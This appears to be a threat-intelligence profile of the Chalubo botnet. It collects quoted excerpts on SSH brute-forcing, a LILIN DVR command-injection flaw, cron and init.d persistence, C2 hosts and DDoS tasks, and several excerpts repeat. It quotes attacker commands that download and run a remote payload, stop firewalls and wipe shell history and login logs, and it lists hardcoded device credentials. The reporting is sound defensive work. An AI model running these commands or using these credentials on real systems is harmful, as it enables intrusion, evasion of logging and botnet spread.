20 distinct techniques documented for this family, organized by ATT&CK tactic.
The attackers used the combination of root:admin to gain a shell
“/z/zbin/dvr_box 对外提供Web服务,它的Web接口 /dvr/cmd 或 /cn/cmd 存在命令注入漏洞。我们观察到被注入的参数包括:NTPUpdate,FTP,NTP。”
it also drops a script file with a rather recognisable path (/etc/cron.hourly/gcc4.sh) which gets added to /etc/crontab to run every 3 minutes
Once the attackers “accessed” the honeypot server, they issued the following commands. /etc/init.d/iptables stop ... wget ... chmod ... nohup ... history -c
multiple botnets, including Chalubo, Fbot, Moobot were using a same 0 day vulnerability to attack LILIN DVR devices... another new LILIN DVR/NVR 0-day paired with system default credential ... were used to spread Mirai sample.
It does this by adding a traditional init.d script to /etc/init.d/<rand_alphastr> which is symlinked to /etc/rc[1..5].d/S90<rand_alphastr> or /etc/rc.d/rc[1..5].d/S90<rand_alphastr>.
it also drops a script file with a rather recognisable path (/etc/cron.hourly/gcc4.sh) which gets added to /etc/crontab to run every 3 minutes
The attackers used the combination of root:admin to gain a shell
It does this by adding a traditional init.d script to /etc/init.d/<rand_alphastr> which is symlinked to /etc/rc[1..5].d/S90<rand_alphastr> or /etc/rc.d/rc[1..5].d/S90<rand_alphastr>.
it also drops a script file with a rather recognisable path (/etc/cron.hourly/gcc4.sh) which gets added to /etc/crontab to run every 3 minutes
The attackers used the combination of root:admin to gain a shell
The attackers encrypt both the main bot component and its corresponding Lua script using the ChaCha stream cipher
The child process’ first action is to modify its process name to either crond or [kworker/1:1]
rm -f /var/log/wtmp history -c
The attackers used the combination of root:admin to gain a shell
the child process... downloads, decrypts, decompresses, and runs the next ELF binary payload... After being decrypted, the payload is decompressed with LZMA, then executed
cp /lib/libudev4.so /lib/libudev4.so.6 /lib/libudev4.so.6
export HISTFILE=/dev/null
/etc/init.d/iptables stop service iptables stop SuSEfirewall2 stop reSuSEfirewall2 stop
We recorded the attack on the 6th of September 2018 with the bot attempting to brute force login credentials against an SSH server... The attackers used the combination of root:admin to gain a shell
“硬编码登陆账号密码列表: root/icatch99 report/8Jg0SR8K50 默认账号密码: admin/123456”
“C2 lakusdvroa.com:8080 #Chalubo; 45.10.90.89:61002 #FBot; wor.wordtheminer.com:8725 #Moobot …”
the Lua script built into the bot is a basic control script for calling home to a C2 server... a list of tasks will be downloaded in the form of another Lua script it retrieves from hxxp://q111333.top:8852/test/res.dat
wget -c hxxp://117.21.191.108:8694/libsdes -P /usr/bin/ ... nohup /usr/bin/libsdes > /dev/null 2>&1 &
The Lua retrieved by the bots we tested trigger the bot to perform a SYN flood attack against a single Chinese IP address over port 10100
with a focus on their own Lua handling for, primarily, performing DoS attacks with DNS, UDP, and SYN flavours
271 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.